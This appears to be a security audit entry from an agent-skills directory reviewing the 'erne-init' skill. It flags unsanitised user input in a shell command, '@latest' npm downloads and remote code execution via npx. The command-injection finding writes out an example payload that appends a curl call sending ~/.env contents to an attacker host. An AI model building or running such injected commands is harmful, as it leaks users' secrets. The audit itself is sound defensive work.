The Agent Skills Directory

[COMMAND_EXECUTION]: The skill instructs the agent to construct and execute a shell command using input gathered directly from the user.
Evidence: The command npx erne-universal@latest init --yes --profile <profile> [--no-mcp] in SKILL.md uses a <profile> placeholder.
Risk: The instructions direct the agent to replace the placeholder with the user's choice. Since there is no instruction to sanitize this input or strictly validate it against the allowed values (minimal, standard, strict), a user could provide a malicious string containing shell metacharacters (e.g., standard; curl http://attacker.com/leak?data=$(cat ~/.env)) to execute arbitrary commands.
[EXTERNAL_DOWNLOADS]: The skill triggers the download of an external package from the npm registry during the initialization process.
Evidence: Use of npx erne-universal@latest in SKILL.md.
Context: The package is associated with the skill author, but using the @latest tag means the agent always executes the most recent version available on the public registry at runtime.
[REMOTE_CODE_EXECUTION]: The skill performs remote code execution by fetching and running a CLI tool from a remote repository via npx.
Evidence: Execution of npx erne-universal and npx erne-universal dashboard in SKILL.md.

erne-init